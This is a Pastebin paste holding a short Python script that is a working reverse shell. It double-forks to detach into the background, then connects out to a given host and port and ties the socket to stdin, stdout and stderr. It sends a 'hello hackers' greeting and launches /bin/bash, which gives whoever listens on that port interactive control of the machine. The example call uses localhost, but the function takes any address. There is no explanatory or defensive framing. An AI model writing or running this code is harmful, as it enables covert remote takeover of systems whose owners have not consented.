Advertisement
Guest User

Untitled

a guest
Apr 30th, 2016
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. import socket, os, sys
  2.  
  3. def daemonize():
  4. pid = os.fork()
  5. if pid > 0:
  6. sys.exit(0) # Exit first parent
  7. pid = os.fork()
  8. if pid > 0:
  9. sys.exit(0) # Exit second parent
  10.  
  11.  
  12. def server(addr, port):
  13. sc = socket.socket()
  14. sc.connect((addr, port))
  15. os.dup2(sc.fileno(), 0)
  16. os.dup2(sc.fileno(), 1)
  17. os.dup2(sc.fileno(), 2)
  18. sc.send(b'hello hackers\n')
  19. os.system("/bin/bash")
  20.  
  21. ## To test it:
  22. daemonize()
  23. server('localhost', 9999)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement